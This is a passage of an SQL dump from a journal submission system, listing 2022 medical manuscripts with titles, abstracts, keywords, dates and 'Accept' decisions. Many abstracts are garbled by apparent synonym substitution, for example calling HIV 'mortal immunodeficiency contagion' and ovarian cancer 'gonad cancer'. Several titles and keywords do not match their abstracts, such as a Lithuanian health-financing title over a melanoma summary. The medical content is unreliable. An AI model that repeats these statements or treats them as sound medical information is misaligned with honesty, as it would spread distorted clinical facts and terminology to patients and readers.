knowledge in hereditary causes and components of neuronal passing, a few promising methodologies are being tried for disease changing potential','',339,NULL,'2022-09-23',NULL,'Submitted',2,NULL,'2022-09-23',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13082,13281,971,0,'ipaclr-22-13082','Administration of data management in clinical research: Mini Review',NULL,19,0,'','A crucial stage in clinical research is clinical data management (CDM), which produces high-quality, trustworthy, and statistically sound data from clinical trials. This results in a significantly shorter period of time between drug development and release. From the beginning to the end of a clinical trial, CDM team members are actively involved. They must have sufficient process knowledge to support upholding the CDM processes high levels of quality. At regular intervals throughout a trial, various CDM processes-including Case Report Form (CRF) designing, CRF annotation, database designing, data entry, data validation, inconsistency management, medical coding, data extraction, and database locking are evaluated for quality. To meet regulatory requirements and stay ahead of the market through quicker product commercialization, there is a greater need to strengthen CDM standards in the current environment. The CDM team can achieve these requirements by implementing regulatory-compliant data management technologies. Additionally, submitting data electronically is becoming required of businesses. Professionals in CDM should have the drive to keep up with the fast evolving technology, satisfy reasonable requirements for data quality, and fulfil reasonable expectations.','',4009,NULL,'2022-09-23',NULL,'Submitted',2,NULL,'2022-10-21',NULL,1,1,'1','Accept and publish without Changes.',0,'','',NULL,0,0,0,NULL,0),(13083,13282,251,0,'ipacm-22-13083','Symptoms of AIDS and Human Immunodeficiency ',NULL,5,0,'','UNAIDS estimates that encyclopedically36.7 million people, including2.1 million children, were living with mortal immunodeficiency contagion (HIV) infection in2016.1 the number of people who acquired HIV infection in 2016 was1.8 million. Since the launch of the epidemic, 35 million people have failed of acquired vulnerable insufficiency pattern (AIDS)- related ails. Tuberculosis is still the leading cause of death in people living with HIV; still, deaths due to AIDS have fallen by 48 since their peak in 2005. Access to antiretroviral remedy ( ART) is adding , and an estimated19.5 million people with HIV infection were entering ART in2016.1\r\nHIV is an enveloped RNA contagion belonging to the genuslentivirus within the familyRetroviridae. The complaint- causing contagions are HIV- 1 and HIV- 2, which affect in a decline in CD4 T lymphocytes. HIV- 2 is detected substantially in West Africa. Both HIV types beget an analogous clinical complaint profile. HIV- 2, still, is associated with a reduced rate of transmissibility, more gradational decline in CD4 T lymphocytes, and clinical progression. HIV enters cells via CD4 and the chemokineco-receptors CCR5 and CXCR4.2 The lack of natural eliminatory mechanisms of HIV following primary infection and continued viral replication throughout the course of the complaint are vital to the inauguration, establishment, and propagation of HIV infection. In a Danish population- grounded study, grown-ups with both skin infections and ‘ skin conditions ’ were significantly more likely to be diagnosed with HIV infection in the posterior 5 times compared to individualities without.3 further than 90 of HIV- infected individualities will develop one or further dermatological diseases during the course of their illness, either as a result of AIDS or due to the goods of treatment,5 likewise, cutaneous complaint is frequently the first incarnation of undiagnosed HIV infection or AIDS.\r\n','HIV; mortal immunodeficiency contagion; health issues; comorbid, marquee review',787,NULL,'2022-09-24',NULL,'Submitted',2,NULL,'2022-11-05',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13084,13283,251,0,'ipacm-22-13084','Penetration and Disassembly: Attachment and Genome Replication',NULL,5,0,'','Nearly one thousand different types of contagions are known to infect humans and it\'s estimated that they regard for roughly 60 of all mortal infections. Contagions are spread fluently through unrestricted surroundings similar as the home, seminaries, workplaces, transport systems, etc. Although numerous of the respiratory and gastrointestinal infections caused by contagions can be asymptomatic or fairly mild and tone- limiting (coughs and snap, etc.), they still represent a significant profitable burden. Adding figures of people who have reduced impunity to infection, for whom the consequences of infection can be much more serious, are now watched for at home. At threat groups include not only the immunocompromised but also the senior, babes, pregnant women,  sanitarium cases discharged into the community, individualities using immunosuppressive medicines and also those using invasive systems( indwelling catheters) or inhalation systems or bias. Else healthy family members with asthma or disinclinations also have increased vulnerability to infection. In the UK it\'s estimated that one in six people in the community belong to an ‘at threat’ group. World Health Organisation estimates suggest that, by 2025, there will be further than 800 million people over 65 times old in the world, two- thirds of them in developing countries.','Genome Replication',3944,NULL,'2022-09-24',NULL,'Submitted',2,NULL,'2022-09-27',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13085,13284,73,0,'ipjnn-22-13085','A Report on Post-Traumatic Stress Disorder',NULL,5,0,'','The dopamine, norepinephrine, - endorphin, serotonin, and oxytocin frameworks, as well as the mesocortical and mesolimbic dopamine, norepinephrine, - endorphin, serotonin, and oxytocin frameworks, have all been connected to post-awful pressure problem. The connection between these different frameworks, then again, is generally obscure, and a broadly perceived brought together hypothesis still can\'t seem to arise. Galanergic concealment of dopaminergic neurons in the ventral tegmental might be the missing connection in a post-horrendous criticism circle, as per this survey.','',5364,NULL,'2022-09-26',NULL,'Submitted',2,NULL,'2022-09-27',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13086,13285,73,0,'ipjnn-22-13086','Neuroacanthocytosis Presenting with Late Onset Attention Deficit Hyperactivity Disorder: A Case Report',NULL,5,0,'','Neuroacanthocytosis (NA) disorders are described by different neurological irregularities joined by strange red platelets called acanthocytes. Neuroacanthocytosis disorders might be isolated into 4 primary subgroups. These subgroups are named as; Center NA conditions, Degenerative problems where acanthocytosis is sporadically seen, Paroxysmal dyskinetic endlessly messes with diminished blood lipoproteins and acanthocytosis. This report centers around a patient with Chorea-acanthocytosis who gave engine signs in the third ten years of life. In the later course of illness, the patient created consideration shortfall hyperactivity jumble and different spasm problems. We needed to underline the significance of multidisciplinary care in the administration of chorea-acanthocytosis.','',5364,NULL,'2022-09-26',NULL,'Submitted',2,NULL,'2022-09-27',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13087,13286,73,0,'ipjnn-22-13087','Impact of Traumatic Stress on Sleep and Women\'s Naturopathic Remedies',NULL,5,0,'','Women are almost certain than men to encounter side effects of a few mental issues, like bad dreams and restlessness, subsequent to encountering horrible pressure. In the wake of completing mental conduct treatment for posttraumatic stress jumble (PTSD), individuals with the illness every now and again keep on having rest issues. Ladies who have encountered injury might profit from symbolism practice treatment, mental conduct treatment for a sleeping disorder, or a mix of these ways to deal with deal with their restlessness and bad dreams. The utilization of proposing in blend with other psychotropic medications or psychotherapy might be a viable method for assisting damaged ladies with their bad dreams.','',5363,NULL,'2022-09-26',NULL,'Submitted',2,NULL,'2022-09-27',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13088,13287,326,0,'IPJUS-22-13088','Asymptomatic Migration of Universal Surgery',NULL,5,0,'','Intrathoracic migration of ventriculoperitoneal shunt is a rare complication and usually complicated with pneumonia or cerebrospinal fluid hydrothorax, which leads to diagnosis and early interventions. Very rarely patient remains asymptomatic. Here is a case report of a 6-year-old boy with a rare asymptomatic intrathoracic migration of ventriculoperitoneal shunt. The cerebrospinal fluid shunt is a device implanted surgically in a CSF containing space to divert the excess fluid in a controlled manner to any distal compartment that can absorb CSF such as the pleura, atrium and peritoneum, being the later most favored. The shunting system is composed of a shunt valve, distal catheter, proximal catheter (ventricular catheter) and some accessories such as connectors and reservoirs (shunt chamber). A Shunt is known to be used as a treatment for many neurosurgical cases including hydrocephalus; it is a very effective way to reduce cerebrospinal fluid accumulation within brain ventricles which help save the patient from serious brain damage that can lead to mental retardation in pediatrics age group. Complications of VP shunts are common and reach up to 47%. Shunts can carry the risk for infections such as meningitis, ventriculitis and sepsis, leakage of CSF fluid at puncture site, rapid shunting of the fluid can lead to ventricular collapse, bleeding and abdominal complications such as volvulus, pseudo cyst and extrusion of the tube through viscus, heart, vagina and scrotum. In this case report we are presenting a rare complication of the cerebral shunt; it is a case of a 4 years old female patient in which the distal end of the shunt has migrated and extruded through the anus. Case Presentation a 4 years old female, a known case of encephalocele for which a Shunt was placed at the age of 1 year, was brought to the emergency department with a small tube coming out of her anus that was found accidentally, the patient was asymptomatic. The diagnosis was perforated anus due to VP Shunt.','Asymptomatic; intrathoracic migration; supradiaphragmatic; ventriculoperitoneal shunt',2505,NULL,'2022-09-26',NULL,'Submitted',2,NULL,'2022-09-27',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13089,13288,326,0,'IPJUS-22-13089','Using a Tubular Retractor: Surgeries and Rods ',NULL,5,0,'','Surgery is a medical specialty that uses operative manual and instrumental techniques on a person to investigate or treat a pathological condition such as a disease or injury, to help improve bodily function, appearance, or to repair unwanted ruptured areas. The act of performing surgery may be called a surgical procedure, operation, or simply \"surgery\". In this context, the verb \"operate\" means to perform surgery. The adjective surgical means pertaining to surgery; e.g. surgical instruments or surgical nurse. The person or subject on which the surgery is performed can be a person or an animal. A surgeon is a person who practices surgery and a surgeon\'s assistant is a person who practices surgical assistance. A surgical team is made up of the surgeon, the surgeon\'s assistant, an anaesthetist, a circulating nurse and a surgical technologist. Surgery usually spans from minutes to hours, but it is typically not an ongoing or periodic type of treatment. The term \"surgery\" can also refer to the place where surgery is performed, or, in British English, simply the office of a physician, dentist, or veterinarian.  As a general rule, a procedure is considered surgical when it involves cutting of a person\'s tissues or closure of a previously sustained wound. Other procedures that do not necessarily fall under this rubric, such as angioplasty or endoscopy, may be considered surgery if they involve \"common\" surgical procedure or settings, such as use of a sterile environment, anesthesia, antiseptic conditions, typical surgical instruments, and suturing or stapling. All forms of surgery are considered invasive procedures; so-called \"noninvasive surgery\" usually refers to an excision that does not penetrate the structure being excised (e.g. laser ablation of the cornea) or to a radiosurgical procedure (e.g. irradiation of a tumor).','Pneumothorax; minimally invasive procedures; video-assisted thoracoscopic surgery (VATS)',2505,NULL,'2022-09-26',NULL,'Submitted',2,NULL,'2022-09-27',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13090,13289,85,0,'iphspr-22-13090','Global overview of health systems and Investment Funds in Financing Health System in Lithuania',NULL,5,0,'','Malignant melanoma, usually referred to as melanoma, is a kind of skin cancer that arises from melanocytes, or cells that produce colour. In those with low amounts of the skin pigment melanin, exposure to UV radiation is the main cause of melanoma. Surgery is often used as a kind of treatment. It may be possible to check for spread in the adjacent lymph nodes in those with somewhat bigger tumours. If there hasn\'t been any spread, most patients are healed. Immunotherapy, biologic treatment, radiation therapy, or chemotherapy could increase survival rates in people whose melanoma has spread. Benefits evaluations for several nations are included in the global HTA database Prismaccess®. In this evaluation, Germany was the main subject. In the previous ten years, all choices about melanoma treatments launched in Germany were taken into account for a systematic reimbursement. A total of 34 IQWiG assessments have been taken into account by the GBA when making judgments. 16 phase III studies, 4 phase II studies, and 2 phase I studies were included in the submissions. A significant added advantage was provided to 11 of the analysed subgroups, two subgroups demonstrated an unquantifiable added benefit, 21 subgroups did not demonstrate an added benefit, and the G-BA chose a smaller benefit in two subgroups. In all, the 22 choices resulted in 12 recommendations without restrictions, 9 recommendations with restrictions, and in and Nivolumab in combination with ipilimumab in non-pretreated patients with a BRAF V600 wild-type tumour did not produce a beneficial additional benefit. In any case, Germany has access to all medications. ','European Structural and Investment Funds; Investment in health; Health system reform; Lithuania',3282,NULL,'2022-09-26',NULL,'Submitted',2,NULL,'2022-10-03',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13091,13290,85,0,'iphspr-22-13091','Public and patient involvement in health policy development in response to COVID-19',NULL,5,0,'','Following the acceptance of universal health coverage as a worldwide aim, countries must address the quality of care offered by their health systems if they wish to improve health outcomes. The growth of health care spending and an increase in service coverage were both sparked by the Millennium Development Goals. The scope of global health ambition included in the Sustainable Development Goals, however, necessitates that policymakers go beyond coverage to comprehend what occurs when individuals arrive at a health institution or establish contact with health services. High-quality health systems are those that \"optimise health in a particular environment by consistently delivering care that improves or preserves health, being respected and trusted by all people,\" according to the Lancet Global Health Commission on High Quality Health Systems in the SDG Era4. New approaches to defining, measuring, and enhancing the performance of health systems are also suggested by the Commission. It says that rather than inputs like employees and equipment, the quality of health systems should be largely assessed in terms of the care procedures and health consequences. We set out to investigate how, since 2000, important health systems frameworks and policies have incorporated the idea of health system quality. We looked for World Health Publications, frameworks, and reports on the WHO website that mentioned health systems in the title or as one of their primary objectives. We limited our attention to the WHO since it is the top technical health agency of the UN, focuses on health systems, and plays a significant role in global health.','Health system reform; Reform Resilience; COVID-19; Ireland; Health policy',3282,NULL,'2022-09-26',NULL,'Submitted',2,NULL,'2022-10-03',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13092,13291,85,0,'iphspr-22-13092','The processes of transport regarding global infectious diseases for public health',NULL,5,0,'','Background: In 2016 places like Edinburgh, Scotland, and Belfast, Northern Ireland, imposed widespread 20 mph speed limits. It\'s significant that both communities were successful in establishing 20 mph speed limit initiatives. They provide examples of how public health and transportation policies change. This essay explains how the two cities\' 20 mph speed limit initiatives came to be. Methods: A qualitative case study approach was used. Data were gathered through interviews with stakeholders participating in the pre-implementation activities and available papers. Each city\'s documents and interviews underwent a unique inductive theme analysis. Results The research produced five significant themes: political leadership, the national policy background of the two cities, support for 20 mph, resistance, and the essential acts involved. In Edinburgh, a 20 mph speed limit was implemented between July 2016 and March 2018. About 50% of Edinburgh\'s streets already had a 20 mph speed restriction; the goal was to raise that number to 80%, with the other 20% of streets, largely arterials, keeping a 30 or 40 mph speed limit. On 76 streets in the heart of Belfast, 20 mph speed limits were put in place.','Discrete Choice, Health Policy, Local Altruism, Risk Perception, Self-Protection.',3282,NULL,'2022-09-26',NULL,'Submitted',2,NULL,'2022-10-03',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13093,13292,85,0,'iphspr-22-13093','Advancing Indigenous self-determination and patient involvement in health policy',NULL,5,0,'','This article looks at Japan\'s public health policies towards infectious illnesses across the world over the last ten years. The Ministry of Health, Labour, and Welfare undertook a narrative evaluation of items from the Infectious Disease Committee and the Tuberculosis Committee between 2010 and 2019. The average number of topics covered at each meeting was 9.7. These committees have talked about countermeasures to reduce the risk of imported infectious diseases like the Ebola virus disease, Middle East Respiratory Syndrome, plague, avian influenza, pandemic influenza, and tuberculosis, as well as the burden of indigenous infectious diseases like measles, rubella, and pertussis. Due to these changes in infectious illnesses, the target population is lost, early identification is more challenging, and the market fails. Making an attempt to educate the public, create unique public health policies for production and supply as well as research and development. The recent experience of Coronavirus illness 2019 will further emphasise it in Japan. Over the last ten years, public health policy about global infectious diseases has been one of the primary priorities under the triangle of global infectious disease. However, in the Post-Corona age, public health policy fundamentals are internationally fragile, which might result in the demise of democracy. We must educate ourselves on the historical history of public health policy in order to tackle global infectious illnesses without deviating from the course. 2019 Coronavirus disease Globally, COVID-19 has altered public health ideas and policy. Travel restrictions were in place after Corona.','Public health policy; Global infectious disease',3282,NULL,'2022-09-26',NULL,'Submitted',2,NULL,'2022-10-03',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13094,13293,85,0,'iphspr-22-13094','Learning opportunities from COVID-19 and economic and clinical implications',NULL,5,0,'','History and objectives With the cancellation of optional medical treatments and disturbance of daily life, COVID-19 has had a crushing impact on the health care systems throughout the world. We want to draw attention to the lessons the present epidemic has to teach us and how they could improve the health care system of the future. Methods: We have conducted a thorough analysis of the most recent research to determine the effects of COVID-19 on the healthcare system. In the first week of May, we gathered data on different elements of COVID-19\'s effects by using appropriate keywords such \"COVID-19,\" \"telemedicine,\" \"health care,\" and \"remote consultations\" on the search engines of PubMed, SCOPUS, Google Scholar, and Research Gate. Results there have been a common global effort to develop people protection methods.','COVID-19; Coronavirus Pandemics; Health care systems; Telemedicine',3282,NULL,'2022-09-26',NULL,'Submitted',2,NULL,'2022-10-03',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13095,13294,45,0,'iphsj-22-13095','AYUSHMAN BHARAT MISSION: PROTECT THE HEALTH OF FAMILIES IN UTTAR PRADESH, INDIA',NULL,14,0,'','Along with food, shelter, education and health is a basic need and a requirement for growth and productivity. Health services have a significant role in a country\'s politics and economy and have a significant impact on the health of individuals and societies. Economic growth and the reduction of inequality are two benefits of health interventions in developing nations. Objectives of the study to identify the disparity in allocation of hospitals as well as medical care units under Ayushman Bharat Mission-Pradhan Mantri Jan Arogya Yojan (PMJAY) in the districts of Uttar Pradesh. Analytical approach is used to present the secondary data obtain from various government agencies. Data presented with suitable statistical techniques and figures. Study reveals that hospitals are not allocated with same ratio to all districts. Total medical and surgical facilities are not available in all districts. There is polarization of medical facilities only in lager districts. In small districts proper medical and surgical facilities are not available. Results indicated that there is need of increase in the numbers of empanelled hospitals under PMJAY in all districts. Numbers of empanelled government hospitals are high in small districts and treatment facilities to patients are low. On the other hand empanelled hospitals private for profit and not for profit are high in large districts. In this scheme focus should be given to increase the medical facilities for improving the health and minimizing the out of pockets expenditures of rural as well as urban population.','Universal Health Coverage, Medical cares, Surgical Facilities, Empanelled Hospitals, Beneficiary Families',4076,NULL,'2022-09-27',NULL,'Submitted',2,NULL,'2022-11-29',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13096,13295,667,0,'iptb-22-13096','Synthetic Biology in Drug Discovery as a source of discovery in Translation Biomedicine',NULL,5,0,'','Because of the declining cost of DNA synthesis, improvements in genetic engineering, expanding knowledge of genome organisation, and boom in data science, the influence of synthetic biology on the world has been escalating. But a lot of the discipline\'s use in the pharmaceutical sector is still unclear. The influence of synthetic biology on target validation, assay development, hit discovery, lead optimization, chemical synthesis, and the creation of cellular therapies is highlighted in this review\'s current examples. We also emphasise the accessibility of the technology and resources powering the field. All phases of drug discovery and development are undoubtedly impacted by synthetic biology, and the prospects for the drug discovery and development value chain may grow as a result of the discipline\'s contribution being acknowledged.','Biofoundry, Chassis Organism, Crispr-Cas9, Drug Discovery, Late-Stage Functionalization, Synthetic Biology',3933,NULL,'2022-09-29',NULL,'Submitted',2,NULL,'2022-10-06',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13097,13296,667,0,'iptb-22-13097','Immune gene prognostic signature by Translational research',NULL,5,0,'','Massive data sets and the development of artificial intelligence algorithms provide fresh perspectives and options for predicting cancer patients\' unique mortality risks. The goal of the recently completed research was to construct an artificial intelligence survival prediction system for stomach cancer patients who were disease-free. The artificial intelligence survival predicting system was created using the multi-task logistic regression algorithm, the cox survival regression method, and the random survival forest algorithm. A transcription factor regulatory network of immune genes was created using 19 transcription factors and 70 immune genes. Fourteen immunological genes were identified as prognostic indicators using multivariate Cox regression. Using these immune genes, a predictive signature for stomach cancer was created. According to epidemiological data, gastric cancer is one of the most common digestive malignant tumours and the second highest cause of tumor-related fatalities, with fatalities in The prognosis for people with stomach cancer remained poor despite improvements in early screening, diagnosis, and therapies that somewhat lowered death. Clinical factors that contribute to improve the prognosis of high risk GC patients include early detection of high mortality high risk GC patients and more accurate, customised therapy. ','COVID-19;  Influenza;  Respiratory syncytial virus; Immunological landscape',3933,NULL,'2022-09-29',NULL,'Submitted',2,NULL,'2022-10-06',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13098,13297,667,0,'iptb-22-13098','COVID-19, Stress, and Brain Morphometry by Translational Psychiatry',NULL,5,0,'','With the COVID-19 epidemic has come a nearly unheard-of worldwide health calamity. Considering both the direct impacts of the illness, such as the development of psychopathology or psychiatric disorders in COVID-19-affected people, as well as the indirect repercussions associated to forced or self-imposed seclusion, this health crisis is also a mental health problem. In large-scale retrospective analyses, psychiatric disorders like anxiety and insomnia have been reported at higher rates in people with a COVID-19 diagnosis (compared to either influenza or other health problems), and it has been demonstrated that having psychiatric disorders before COVID-19 infection carries a higher relative risk of COVID-19 diagnosis. However, the COVID-19 pandemic\'s effects on mental health go well beyond the effects of infection and the short- or long-term impacts they may have on COVID-19 survivors. In fact, measures of isolation that are imposed by an individual, a group, or the government, such as \"lockdowns\" and other restrictions on social interaction, have been examined for their effects on a variety of mental health outcomes in the general population, not just COVID-19 survivors.','Translational Oncology; Translational Neurology; Translational Stroke',3933,NULL,'2022-09-29',NULL,'Submitted',2,NULL,'2022-10-06',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13099,13298,667,0,'iptb-22-13099','Challenges in promoter methylation research by translational oncology',NULL,5,0,'','Epigenetic changes have frequently been suggested for the diagnosis and creation of anti-cancer therapy techniques in the search for novel trustworthy biomarkers. In fact, promoter methylation has to be paired with a highly informative technology that is tested in a suitable biospecimen for it to actively become a tumour marker for therapeutic application. In fact, one of the most difficult issues in epigenetic research is methodological uniformity. Additionally, liquid biopsy is being used to supplement and, in some situations, replace tissue-based biopsy. This study will emphasise the improvements made for the prospective use of methylation biomarkers in clinical settings, with a focus on liquid biopsy, for both pre-analytical and analytical application. With the assistance of active interaction with the milieu that makes up the tumour niche, the carcinogenic process progresses through the continuous accumulation of genetic and epigenetic changes that allow it to elude physiological regulation systems. ','Promoter hyper-methylation; Cancer biomarkers; Liquid biopsy',3933,NULL,'2022-09-29',NULL,'Submitted',2,NULL,'2022-10-06',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13100,13299,667,0,'iptb-22-13100','Impact and future opportunities in translational radiobiology by Translational Imaging',NULL,5,0,'','Background and goal: To offer a scoping overview of studies that have been published employing small animal irradiators and to draw attention to the advancements made possible by these platforms in preclinical radiation research since their creation and commercialization in 2007. Materials and procedures 359 small animal RT trials were included in the analysis after 907 studies were found by screening using manufacturer data and PubMed searches. To detect trends in the preclinical RT research landscape, these publications were divided into subgroups based on research objectives, experimental models, and other criteria and classed as contributions from the fields of biology or physics. Results Between 2007 and 2021, biology contributions made up the majority of articles that were published, while physics contributions made up 38% of publications. In physics papers, dosimetry and calibration treatment were the primary study fields. The developments in small animal irradiator-based preclinical RT research are covered in this study from 2007 to 2021. Our findings indicate a rise in the number of preclinical RT investigations being conducted in crucial fields of biology and physics research that might help guide the translation of those findings into clinical trials.','Radiotherapy; Preclinical models ; Preclinical radiotherapy; Small animal irradiators',3933,NULL,'2022-09-29',NULL,'Submitted',2,NULL,'2022-10-06',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13101,13300,667,0,'iptb-22-13101','A review on antiviral property of methylglyoxal: Possible therapeutic implications of the α-dicarbonyl compound in the treatment of viral infection ',NULL,5,0,'','Methylglyoxal (MG) is a highly reactive α-dicarbonyl compound which reacts with proteins to form advanced glycation end products (AGEs). Its level significantly increases in diabetic condition. MG primarily modifies arginine and lysine residues of proteins resulting in cross-linking and inactivation. Antiviral activity of methylglyoxal has been reported against several viruses including different strains of influenza, alpha herpes, varicella-zoster, etc. Recently, it has been suggested that SARS-CoV-2 proteome is susceptible to inactivation by MG. The studies in overall indicate a possible therapeutic potential of MG which may be explored in the treatment of wide range of viral diseases. The present article discusses and reviews on the probable mechanism of action of MG against viral infections including possible modification and inactivation of viral proteins. A scope to characterize MG-modified proteins by biophysical techniques including analysis of MG-derived AGE adducts by proteomic studies has also been discussed.','Methylglyoxal, advanced glycation end products, antiviral, hydroimidazolone, antitumor drugs',3322,NULL,'2022-10-03',NULL,'Submitted',2,NULL,'2022-10-15',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(13102,13302,73,0,'ipjnn-22-13102','Norms and T-scores for alcohol, depression and anxiety screeners for the population of Suriname',NULL,14,0,'','Background: There is a considerable gap between care provision and the demand for care for common mental disorders in low-and-middle-income countries. Screening for these disorders, e.g., in primary care, will help to close this gap. However, appropriate norms and threshold values for screeners of common mental disorders are lacking. \r\nMethods: We gathered data on frequently used screeners for alcohol use disorders, depression, and anxiety disorders in a representative sample from Suriname, a non-Latin American Caribbean country. \r\nResults: Norms and crosswalk tables were established for the conversion of raw scores into a common metric: T-scores. Furthermore, recommended cut-off values on the T-score metric for severity levels were compared with international cut-off values for raw scores on these screeners. The appropriateness of these cut-offs and the value of converting raw scores into T-scores are discussed. \r\nConclusions: Cut-off values help with screening and early detection of those who are likely to have a common mental health disorder and may require treatment. Conversion to a common metric simplifies the interpretation of test results\r\n','Substance use, Anxiety, Depression, norms, T-scores',356,NULL,'2022-10-03',NULL,'Submitted',2,NULL,'2022-10-20',NULL,1,1,'0','       ',0,'','',NULL,0,0,0,NULL,0),(13103,13303,959,0,'ipacr-22-13103','Over the course of 18 years, a perforated cystadenoma of the appendix progressed to pseudomyxoma peritonea.',NULL,5,0,'','In the past, glycoprotein appendiceal neoplasms (MAN) bigger than two cm in diameter were treated by a right colon surgical procedure. New information shows that treatment choices area unit to be determined by the histopathologic grade of the appendiceal tumour and therefore the condition of the wall of the appendix. A 39-year-old lady had associate degree incidental identification of a inferior appendiceal glycoprotein tumor (LAMN) at the time of a extirpation. The appendiceal tumour had little quantities of secretion encompassing associate degree enlarged appendix. No tumour cells were seen within the secretion by histological study. The patient was placed in follow-up. Eighteen years later she needed treatment for advanced pseudomyxoma peritonei.','Cytoreductive surgery, peritoneal metastases Mitomycin C, Hyperthermia, Radical appendectomy',5400,NULL,'2022-10-04',NULL,'Submitted',2,NULL,'2022-10-06',NULL,1,1,'1','accept',0,'','',NULL,0,0,0,NULL,0),(13104,13304,959,0,'ipacr-22-13104','A 14-year-old female with T-cell acute lymphoblastic leukaemia presented with numb chin syndrome as the first symptom.',NULL,5,0,'','Numb chin syndrome (NCS) has been delineated within the context of familiar malignancy or as a sign of unwellness recurrence; but, it\'s uncommon to be the initial presenting symptom of malignancy. we provide a case report of associate otherwise healthy 14-year previous feminine United Nations agency conferred with NCS of seven months period. Photography imaging showed look of the submaxilla and incisional diagnostic test showed diffuse white blood corpuscle infiltrates. Immunohistologic staining performed was in keeping with T-cell acute lymphoblastic leukemia lymphoma (T-ALL) that was later confirmed with bone marrow aspirate. whereas historically the diagnosing neoplastic unwellness} was reserved just for large lesions with lowest disease of the peripheral blood and bone marrow, current trends have shifted to cluster lymphocytic leukemia and neoplastic unwellness} as one disease method spectrum. When a review of the literature, no reports were known of NCS because the solely presenting symptom of T-ALL during a antecedently healthy kid. We tend to so propose associate rule to guide clinicians in associate correct and timely diagnosing of this common medical specialty malignancy.','T-cell acute lymphoblastic leukemia, mental nerve neuropathy, acute lymphoblastic leukemia, maternal obesity, fetal epigenetics, Insulin-like growth factors',5399,NULL,'2022-10-04',NULL,'Submitted',2,NULL,'2022-10-06',NULL,1,1,'1','accept',0,'','',NULL,0,0,0,NULL,0),(13105,13305,959,0,'ipacr-22-13105','Chronic Leucaemia, A Rare Explanation for Spontaneous Rupture of the Spleen',NULL,5,0,'','Spleen Spontaneous Rupture SRS could be a rare development within which the spleen ruptures while not associated trauma. This pathology is never caused by Chronic leukaemia.We gift a case of a 59-year-old male patient with chronic leukaemia, UN agency was admitted with associate acute abdomen whose clinical and preclinical examinations disclosed a spleen spontaneous rupture. The treatment consisted of a ablation. Chronic leukaemia (CLL) could be a sort of cancer of the blood and bone marrow — the spongy tissue within bones wherever blood cells area unit created. The term \"chronic\" in chronic comes from the actual fact that this leucaemia generally progresses a lot of slowly than different forms of leukemia. The term \"lymphocytic\" in chronic leukaemia comes from the cells laid low with the malady — a gaggle of white blood cells referred to as lymphocytes that facilitate your body fight infection.','Crystalline inclusions, chronic lymphocytic leukemia, Lymph proliferative disorder, Etiology, Epidemiology',5400,NULL,'2022-10-04',NULL,'Submitted',2,NULL,'2022-10-06',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13106,13306,959,0,'ipacr-22-13106','Bladder cancer cells\' migration and proliferation are suppressed by EDARADD silencing.',NULL,5,0,'','Bladder cancer could be a quite common malignant cancer within the urinary apparatus. The expression of EDARADD (ectodysplasin-A receptor-associated death domain) in bladder cancer is beyond the conventional samples. However, its role in bladder cancer remains unknown. Within the gift study, we tend to analyze the expression of EDARADD in eighty one bladder cancer samples by assay additionally as its correlation with clinical characteristics. Additionally, the role of EDARADD was additionally explored through loss of perform. Cell proliferation assay and MTT assay were conducted to assess the proliferation of bladder cancer cells and trans well assay and wound healing assay were conducted to assess the migration of bladder cancer cells. On the opposite hand, the degree of epithelial-mesenchymal transition (EMT) associated proteins and therefore the key molecules within the MAPK sign pathway were detected by western blot. in vivo experiments were additionally conducted to see the impact of EDARADD silencing on the metastasis of bladder cancer cells and therefore the MAPK sign pathway.','Bladder cancer, Metastasis, proliferation, liquid biopsy, biomarker, diagnosis, cancer research',5400,NULL,'2022-10-04',NULL,'Submitted',2,NULL,'2022-10-06',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13107,13307,959,0,'ipacr-22-13107','Recent developments and the use of ',NULL,5,0,'','An abnormal mass of tissue that forms once cells grow and divide quite ought to they ought to they must} or don\'t die once they should. Tumors could also be benign (not cancer) or malignant (cancer). Benign tumors could grow however don\'t unfold into, or invade, near tissues or alternative components of the body. Malignant tumors will unfold into, or invade, near tissues. They will conjointly unfold to alternative components of the body through the blood and liquid body substance systems conjointly known as tumor. Even with the most recent advances in technology, the treatment of gonad cancer remains an enormous challenge as a result of it\'s usually diagnosed at advanced stage, is at risk of early relapse in spite of aggressive treatment and has an especially poor prognosis. Current growth cells (CTCs) are often used as a non-invasive “real-time liquid biopsy”, that has shown the worth of diagnosing, assessment of prognosis and chemo resistance, and detection of tiny residual tumors on gonad cancer. This critique provides a summary on recent analysis on CTCs in gonad cancer, with special specialize in the clinical application of CTC tests.','Circulating tumor cells; Liquid biopsy; Microfluidics Ovarian cancer; Cancer research; Tumor; Gonad cancer',5399,NULL,'2022-10-04',NULL,'Submitted',2,NULL,'2022-10-06',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13108,13275,326,0,'IPJUS-22-13108','Colorectal polyp’s description and Classification during colonoscopy- a Quality improvement audit',NULL,5,0,' ',' ',' \r\n\r\n\r\n',2505,NULL,'2022-10-04',NULL,'Submitted',2,NULL,'2022-10-22',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13109,13275,326,0,'IPJUS-22-13109','Incidence of Development of Perianal Fistula after Perianal Abscess 